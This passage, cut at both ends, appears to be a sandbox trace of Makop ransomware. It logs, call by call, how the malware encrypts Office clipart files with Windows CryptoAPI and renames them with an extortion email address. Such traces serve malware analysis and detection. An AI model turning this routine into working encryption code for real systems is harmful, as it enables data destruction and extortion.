dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0145.993] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 63 [0145.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.995] GetProcessHeap () returned 0x48a0000 [0145.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.995] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.995] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.995] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.000] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.000] GetProcessHeap () returned 0x48a0000 [0146.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.000] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.000] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.001] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.002] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0146.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0146.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0146.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.005] SetEndOfFile (hFile=0xf0) returned 1 [0146.014] GetProcessHeap () returned 0x48a0000 [0146.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.014] GetProcessHeap () returned 0x48a0000 [0146.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.014] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.016] CloseHandle (hObject=0xf0) returned 1 [0146.017] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0146.017] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP") returned 63 [0146.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.018] GetProcessHeap () returned 0x48a0000 [0146.018] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.018] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.025] GetProcessHeap () returned 0x48a0000 [0146.025] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.025] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.025] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.027] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.027] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0146.031] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0146.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.032] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0146.032] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.032] SetEndOfFile (hFile=0xf0) returned 1 [0146.039] GetProcessHeap () returned 0x48a0000 [0146.039] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.039] GetProcessHeap () returned 0x48a0000 [0146.039] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.039] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.041] CloseHandle (hObject=0xf0) returned 1 [0146.042] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0146.042] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 63 [0146.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.043] GetProcessHeap () returned 0x48a0000 [0146.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.043] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.043] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.043] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.043] GetProcessHeap () returned 0x48a0000 [0146.044] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.044] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.044] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.048] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.048] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.049] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.049] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.049] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.049] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.049] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0146.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.052] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.052] SetEndOfFile (hFile=0xf0) returned 1 [0146.061] GetProcessHeap () returned 0x48a0000 [0146.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.061] GetProcessHeap () returned 0x48a0000 [0146.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.061] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.063] CloseHandle (hObject=0xf0) returned 1 [0146.063] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0146.063] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG") returned 63 [0146.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.064] GetProcessHeap () returned 0x48a0000 [0146.064] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.065] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.065] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0146.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.072] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.072] GetProcessHeap () returned 0x48a0000 [0146.072] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.072] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.072] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.072] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.073] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.073] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.073] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.074] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.074] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.074] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdd5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdd5, lpOverlapped=0x0) returned 1 [0146.075] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xde0, dwBufLen=0xde0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xde0) returned 1 [0146.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xde0, lpOverlapped=0x0) returned 1 [0146.076] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.076] SetEndOfFile (hFile=0xf0) returned 1 [0146.083] GetProcessHeap () returned 0x48a0000 [0146.084] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.084] GetProcessHeap () returned 0x48a0000 [0146.084] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.084] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft 